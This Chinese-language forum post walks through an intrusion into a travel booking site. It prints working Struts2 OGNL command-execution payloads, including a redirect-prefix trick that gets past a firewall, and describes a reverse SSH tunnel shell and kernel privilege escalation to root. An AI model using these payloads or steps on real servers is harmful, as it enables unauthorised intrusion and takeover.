標題:一次繞過防火牆獲取RCE以及提權到root權限的滲透過程

taibeihacker

Moderator
本文是關於Apache struts2 CVE-2013-2251是由於導致執行遠程命令的影響而被高度利用的漏洞。簡而言之,通過操縱以“action:”/”redirect:”/”redirectAction:”為前綴的參數引入的漏洞,允許在使用Struts 2.3.15作為框架的Java Web應用程序中執行遠程命令。
現在,當這個漏洞以病毒式瘋狂傳播時,主要的應用防火牆廠商開始更新它們的規則引擎和檢測技術,以防止它發生。 但是作者不僅能夠繞過防火牆並獲得遠程代碼執行,還能夠通過利用內核漏洞來提權到以root用戶身份獲取服務器權限。
當作者在測試旅行預訂網站時,是因為為了找到應用程序是否運行在易受攻擊的Apache Struts框架上的漏洞利用,只需檢查以下易受攻擊的參數-“action, redirect,redirectAction”和正確的有效攻擊負載,通過google找到利用poc的博客(必須構建一個OGNL表達式),http://blog.opensecurityresearch.co...-cve-2013-2251.html,下面是用於運行命令“ifconfig”的有效負載。
redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
ferh5apluk423932.jpg

但正如預料的那樣,它被應用防火牆阻止了,並將重定向到一個bot機器頁面。
sibs3rwlbn523933.jpg

當這樣的事情發生在作者身上時,正如前面指出的那樣,知道哪些參數易受攻擊,其中之一是在上述請求中使用的“redirect”參數。 “redirect”,是的,你覺得它是正確的,讓我們嘗試在這裡重定向,只是把它重定向到http://www.goal.com
2gy3s1yhq4m23935.jpg

正如你所看到的那樣,作者得到了302重定向到位置http://www.goal.com ,所以之前的ifconfig命令有效載荷被阻止了,這個重定向方法,給了作者一個繞過防火牆的思路,所以,將上面的有效負載進行修改如下:
redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
並發起請求:
j10ht0dbgw223936.jpg

下面顯示了能夠繞過防火牆並獲得運行的“ifconfig”命令輸出信息:
kdvnm4cuq3e23937.jpg

下一個目標是獲得服務器的遠程shell,作者使用反向SSH隧道和公鑰認證來嘗試並獲取shell,它允許SSH用戶在不輸入密碼的情況下登錄。因此,作者必須將攻擊者服務器的ssh公鑰放入受害服務器的授權路徑下~/.ssh/authorized_keys,為了獲取授權身份,並且獲取為反向ssh隧道,還必須添加受害ssh服務器的id_rsa.pub公鑰。為了闡述上面2個關鍵詞的概念並理解公鑰認證的概念-----id_rsa.pub是您添加到其他主機的authorized_keys文件以允許您以該用戶身份登錄的公鑰。 authorized_keys是允許登錄到特定服務器上的特定帳戶的公鑰列表。
第一步- 使用RCE查找受害服務器的id_rsa.pub文件位置
hptfxi43zgm23938.jpg

第二步- 將authorized_keys從受害者服務器複製到攻擊者服務器上
c4o22m3ypbu23939.jpg

第三步- 將修改後的authorized_keys從攻擊者服務器複製回來,通過讀取id_rsa.pub獲得shell.
最後一步- SSH在攻擊者機器上使用反向隧道,所以運行瞭如下命令行:
3mwx5kq1awo23940.jpg

能夠獲得服務器的遠程shell,但沒以root登陸的權限,這就意味著只有有限的權利訪問文件和命令執行。現在為了獲取以root用戶身份登錄的權限,作者首先查看當前受害機器上運行的內核版本是什麼:
4iyxpfbizmg23941.jpg

因此發現了內核版本是2.6.32,通過google查找到利用的CVE,該CVE可
容易進行賬戶提權和漏洞利用----https: //github.com/realtalk/cve-2013-2094 ,最終夠獲得root用戶權限。
lj1hd4iy5sl23943.jpg

這就是如何通過利用apache strut 2漏洞和內核版本漏洞利用結合來獲取以root用戶服務器的遠程shell。
 
返回
上方